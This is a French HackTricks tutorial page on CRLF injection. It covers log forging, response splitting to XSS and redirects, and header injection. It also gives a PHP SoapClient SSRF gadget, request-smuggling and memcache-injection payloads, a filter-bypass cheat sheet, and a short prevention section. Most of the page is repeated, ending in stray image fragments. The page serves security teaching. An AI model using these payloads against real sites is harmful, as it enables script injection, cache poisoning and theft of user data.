# Injection CRLF (%0D%0A)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Qu'est-ce que CRLF ?
Lorsqu'un navigateur envoie une requête à un serveur web, le serveur web répond avec une réponse contenant à la fois les en-têtes de réponse HTTP et le contenu réel du site web, c'est-à-dire le corps de la réponse. Les en-têtes HTTP et la réponse HTML (le contenu du site web) sont séparés par une combinaison spécifique de caractères spéciaux, à savoir un retour chariot et une avance de ligne. Pour faire court, ils sont également connus sous le nom de CRLF.
Le serveur web utilise le CRLF pour comprendre quand un nouvel en-tête HTTP commence et qu'un autre se termine. Le CRLF peut également indiquer à une application web ou à un utilisateur qu'une nouvelle ligne commence dans un fichier ou dans un bloc de texte. Les caractères CRLF sont un message HTTP/1.1 standard, donc ils sont utilisés par tout type de serveur web, y compris Apache, Microsoft IIS et tous les autres.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### Qu'est-ce que la vulnérabilité d'injection CRLF ?
Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et d'avance de ligne dans l'entrée utilisateur pour tromper le serveur, l'application web ou l'utilisateur en pensant qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, mais elles peuvent être utilisées à des fins malveillantes, pour la division de réponse HTTP, etc.
## Injection CRLF dans les applications web
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité d'application web à impact direct. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste OWASP Top 10. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
#### Un exemple d'injection CRLF dans un fichier journal
Imaginez un fichier journal dans un panneau d'administration avec le modèle de flux de sortie IP - Heure - Chemin visité, comme ci-dessous :
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un attaquant est capable d'injecter les caractères CRLF dans la requête HTTP, il est capable de modifier le flux de sortie et de falsifier les entrées de journal. Il peut modifier la réponse de l'application web pour quelque chose comme ci-dessous:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Le %0d et le %0a sont les formes encodées en URL de CR et LF. Par conséquent, les entrées de journal ressembleraient à ceci après que l'attaquant ait inséré ces caractères et que l'application les affiche :
IP - Heure - Chemin visité
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Par conséquent, en exploitant une vulnérabilité d'injection CRLF, l'attaquant peut falsifier des entrées dans le fichier journal pour dissimuler ses propres actions malveillantes. L'attaquant fait littéralement du détournement de page et modifie la réponse. Par exemple, imaginez un scénario où l'attaquant a le mot de passe administrateur et a exécuté le paramètre restrictedaction, qui ne peut être utilisé que par un administrateur.
Le problème est que si l'administrateur remarque qu'une adresse IP inconnue a utilisé le paramètre restrictedaction, il remarquera que quelque chose ne va pas. Cependant, comme il semble maintenant que la commande a été émise par localhost (et donc probablement par quelqu'un qui a accès au serveur, comme un administrateur), cela ne semble pas suspect.
Toute la partie de la requête commençant par %0d%0a sera traitée par le serveur en tant que paramètre unique. Après cela, il y a un autre & avec le paramètre restrictedaction qui sera analysé par le serveur en tant qu'autre paramètre. En effet, cela serait la même requête que:
```
/index.php?page=home&restrictedaction=edit
```
### Injection HTTP Response
#### Description
Puisque l'en-tête d'une réponse HTTP et son corps sont séparés par des caractères CRLF, un attaquant peut essayer d'injecter ceux-ci. Une combinaison de CRLFCRLF indiquera au navigateur que l'en-tête se termine et que le corps commence. Cela signifie qu'il est maintenant capable d'écrire des données à l'intérieur du corps de la réponse où le code HTML est stocké. Cela peut conduire à une vulnérabilité de Cross-site Scripting.
#### Un exemple d'injection HTTP Response menant à XSS
Imaginez une application qui définit un en-tête personnalisé, par exemple:
```
X-Your-Name: Bob
```
La valeur de l'en-tête est définie via un paramètre get appelé "name". Si aucun encodage d'URL n'est en place et que la valeur est directement reflétée dans l'en-tête, il est possible pour un attaquant d'insérer la combinaison CRLFCRLF mentionnée ci-dessus pour indiquer au navigateur que le corps de la requête commence. De cette façon, il est capable d'insérer des données telles qu'une charge utile XSS, par exemple :
```
?name=Bob%0d%0a%0d%0a
```
Le code ci-dessus affichera une fenêtre d'alerte dans le contexte du domaine attaqué.
#### Un exemple de HTTP Response Splitting menant à une redirection
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Naviguez vers:
```
/%0d%0aLocation:%20http://myweb.com
```
Et le serveur répond avec l'en-tête :
```
Location: http://myweb.com
```
**Autre exemple: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### Dans le chemin de l'URL
Vous pouvez envoyer la charge utile **dans le chemin de l'URL** pour contrôler la **réponse** du serveur :
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Injection d'en-tête HTTP
#### Description
En exploitant une injection CRLF, un attaquant peut également insérer des en-têtes HTTP qui pourraient être utilisés pour contourner les mécanismes de sécurité tels que le filtre XSS d'un navigateur ou la même politique d'origine. Cela permet à l'attaquant d'obtenir des informations sensibles telles que des jetons CSRF. Il peut également définir des cookies qui pourraient être exploités en connectant la victime au compte de l'attaquant ou en exploitant des vulnérabilités de script intersite (XSS) autrement inexploitables.
#### Un exemple d'injection d'en-tête HTTP pour extraire des données sensibles
Si un attaquant est capable d'injecter les en-têtes HTTP qui activent CORS (partage de ressources entre origines multiples), il peut utiliser JavaScript pour accéder à des ressources qui sont autrement protégées par SOP (Same Origin Policy), qui empêche les sites de différentes origines d'accéder les uns aux autres.
### Nouvelle requête HTTP dans SSRF
En abusant de l'injection CRLF, vous pouvez **créer une nouvelle requête HTTP et l'injecter**.\
Un bon exemple peut être réalisé en utilisant le gadget de désérialisation `SoapClient` en PHP. Cette classe est **vulnérable aux CRLF** à l'intérieur du paramètre `user_agent`, permettant d'**insérer de nouveaux en-têtes et du contenu de corps**. Cependant, vous pouvez même être en mesure d'exploiter cette vulnérabilité pour **injecter une nouvelle requête HTTP :**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Injection d'en-tête pour le smuggling de requête
Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **back-end maintient la connexion ouverte** après avoir répondu à la requête initiale :
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Ensuite, **spécifiez une deuxième requête**. Voici une **requête classique** [**d'empoisonnement de requête HTTP**](http-request-smuggling/) \*\*\*\* avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection.\
Voici deux des nombreuses options pour l'exploitation inter-utilisateur.
Spécifier un **préfixe malveillant** pour empoisonner la requête du prochain utilisateur ou un cache web :
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou en créant notre préfixe pour se combiner avec les déchets en fin de requête et créer une deuxième requête complète afin de déclencher l'**empoisonnement de la file d'attente de réponse**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Pour plus d'informations sur cette technique et les problèmes potentiels, [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injection Memcache
Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**. Plus d'informations dans :
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si une plateforme prend **des données d'une requête HTTP et les utilise sans les nettoyer** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
Par exemple, dans la vulnérabilité découverte à l'origine, les clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants ont pu **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les adresses IP et les ports des attaquants aux utilisateurs dont l'adresse e-mail était inconnue de l'attaquant :
**Pour obtenir toutes les informations, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impacts de la vulnérabilité d'injection CRLF
L'impact des injections CRLF varie et inclut également tous les impacts de la faille de sécurité XSS à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
### Comment prévenir les injections CRLF / HTTP Header dans les applications Web
La meilleure technique de prévention consiste à ne pas utiliser directement l'entrée des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications Web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas CR et LF à être injectés dans les fonctions qui définissent les en-têtes HTTP.
### CHEAT SHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Outil
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
## Références
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inviolable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (1).png)
 (1) (1) (1).png)
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Qu'est-ce que CRLF ?
Lorsqu'un navigateur envoie une requête à un serveur web, le serveur web répond avec une réponse contenant à la fois les en-têtes de réponse HTTP et le contenu réel du site web, c'est-à-dire le corps de la réponse. Les en-têtes HTTP et la réponse HTML (le contenu du site web) sont séparés par une combinaison spécifique de caractères spéciaux, à savoir un retour chariot et une avance de ligne. Pour faire court, ils sont également connus sous le nom de CRLF.
Le serveur web utilise le CRLF pour comprendre quand un nouvel en-tête HTTP commence et qu'un autre se termine. Le CRLF peut également indiquer à une application web ou à un utilisateur qu'une nouvelle ligne commence dans un fichier ou dans un bloc de texte. Les caractères CRLF sont un message HTTP/1.1 standard, donc ils sont utilisés par tout type de serveur web, y compris Apache, Microsoft IIS et tous les autres.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### Qu'est-ce que la vulnérabilité d'injection CRLF ?
Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et d'avance de ligne dans l'entrée utilisateur pour tromper le serveur, l'application web ou l'utilisateur en pensant qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, mais elles peuvent être utilisées à des fins malveillantes, pour la division de réponse HTTP, etc.
## Injection CRLF dans les applications web
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec des éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité de sécurité d'application web à impact direct. En fait, une attaque d'injection CRLF peut avoir des répercussions très graves sur une application web, même si elle n'a jamais été répertoriée dans la liste OWASP Top 10. Par exemple, il est également possible de manipuler les fichiers journaux dans un panneau d'administration, comme expliqué dans l'exemple ci-dessous.
#### Un exemple d'injection CRLF dans un fichier journal
Imaginez un fichier journal dans un panneau d'administration avec le modèle de flux de sortie IP - Heure - Chemin visité, comme ci-dessous :
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un attaquant est capable d'injecter les caractères CRLF dans la requête HTTP, il est capable de modifier le flux de sortie et de falsifier les entrées de journal. Il peut modifier la réponse de l'application web pour quelque chose comme ci-dessous:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Le %0d et le %0a sont les formes encodées en URL de CR et LF. Par conséquent, les entrées de journal ressembleraient à ceci après que l'attaquant ait inséré ces caractères et que l'application les affiche :
IP - Heure - Chemin visité
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Par conséquent, en exploitant une vulnérabilité d'injection CRLF, l'attaquant peut falsifier des entrées dans le fichier journal pour dissimuler ses propres actions malveillantes. L'attaquant fait littéralement du détournement de page et modifie la réponse. Par exemple, imaginez un scénario où l'attaquant a le mot de passe administrateur et a exécuté le paramètre restrictedaction, qui ne peut être utilisé que par un administrateur.
Le problème est que si l'administrateur remarque qu'une adresse IP inconnue a utilisé le paramètre restrictedaction, il remarquera que quelque chose ne va pas. Cependant, comme il semble maintenant que la commande a été émise par localhost (et donc probablement par quelqu'un qui a accès au serveur, comme un administrateur), cela ne semble pas suspect.
Toute la partie de la requête commençant par %0d%0a sera traitée par le serveur en tant que paramètre unique. Après cela, il y a un autre & avec le paramètre restrictedaction qui sera analysé par le serveur en tant qu'autre paramètre. En effet, cela serait la même requête que:
```
/index.php?page=home&restrictedaction=edit
```
### Injection HTTP Response
#### Description
Puisque l'en-tête d'une réponse HTTP et son corps sont séparés par des caractères CRLF, un attaquant peut essayer d'injecter ceux-ci. Une combinaison de CRLFCRLF indiquera au navigateur que l'en-tête se termine et que le corps commence. Cela signifie qu'il est maintenant capable d'écrire des données à l'intérieur du corps de la réponse où le code HTML est stocké. Cela peut conduire à une vulnérabilité de Cross-site Scripting.
#### Un exemple d'injection HTTP Response menant à XSS
Imaginez une application qui définit un en-tête personnalisé, par exemple:
```
X-Your-Name: Bob
```
La valeur de l'en-tête est définie via un paramètre get appelé "name". Si aucun encodage d'URL n'est en place et que la valeur est directement reflétée dans l'en-tête, il est possible pour un attaquant d'insérer la combinaison CRLFCRLF mentionnée ci-dessus pour indiquer au navigateur que le corps de la requête commence. De cette façon, il est capable d'insérer des données telles qu'une charge utile XSS, par exemple :
```
?name=Bob%0d%0a%0d%0a
```
Le code ci-dessus affichera une fenêtre d'alerte dans le contexte du domaine attaqué.
#### Un exemple de HTTP Response Splitting menant à une redirection
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Naviguez vers:
```
/%0d%0aLocation:%20http://myweb.com
```
Et le serveur répond avec l'en-tête :
```
Location: http://myweb.com
```
**Autre exemple: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### Dans le chemin de l'URL
Vous pouvez envoyer la charge utile **dans le chemin de l'URL** pour contrôler la **réponse** du serveur :
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Injection d'en-tête HTTP
#### Description
En exploitant une injection CRLF, un attaquant peut également insérer des en-têtes HTTP qui pourraient être utilisés pour contourner les mécanismes de sécurité tels que le filtre XSS d'un navigateur ou la même politique d'origine. Cela permet à l'attaquant d'obtenir des informations sensibles telles que des jetons CSRF. Il peut également définir des cookies qui pourraient être exploités en connectant la victime au compte de l'attaquant ou en exploitant des vulnérabilités de script intersite (XSS) autrement inexploitables.
#### Un exemple d'injection d'en-tête HTTP pour extraire des données sensibles
Si un attaquant est capable d'injecter les en-têtes HTTP qui activent CORS (partage de ressources entre origines multiples), il peut utiliser JavaScript pour accéder à des ressources qui sont autrement protégées par SOP (Same Origin Policy), qui empêche les sites de différentes origines d'accéder les uns aux autres.
### Nouvelle requête HTTP dans SSRF
En abusant de l'injection CRLF, vous pouvez **créer une nouvelle requête HTTP et l'injecter**.\
Un bon exemple peut être réalisé en utilisant le gadget de désérialisation `SoapClient` en PHP. Cette classe est **vulnérable aux CRLF** à l'intérieur du paramètre `user_agent`, permettant d'**insérer de nouveaux en-têtes et du contenu de corps**. Cependant, vous pouvez même être en mesure d'exploiter cette vulnérabilité pour **injecter une nouvelle requête HTTP :**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Injection d'en-tête pour le smuggling de requête
Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **back-end maintient la connexion ouverte** après avoir répondu à la requête initiale :
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Ensuite, **spécifiez une deuxième requête**. Voici une **requête classique** [**d'empoisonnement de requête HTTP**](http-request-smuggling/) \*\*\*\* avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection.\
Voici deux des nombreuses options pour l'exploitation inter-utilisateur.
Spécifier un **préfixe malveillant** pour empoisonner la requête du prochain utilisateur ou un cache web :
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou en créant notre préfixe pour se combiner avec les déchets en fin de requête et créer une deuxième requête complète afin de déclencher l'**empoisonnement de la file d'attente de réponse**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Pour plus d'informations sur cette technique et les problèmes potentiels, [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injection Memcache
Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**. Plus d'informations dans :
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si une plateforme prend **des données d'une requête HTTP et les utilise sans les nettoyer** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
Par exemple, dans la vulnérabilité découverte à l'origine, les clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants ont pu **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
.png)
.png)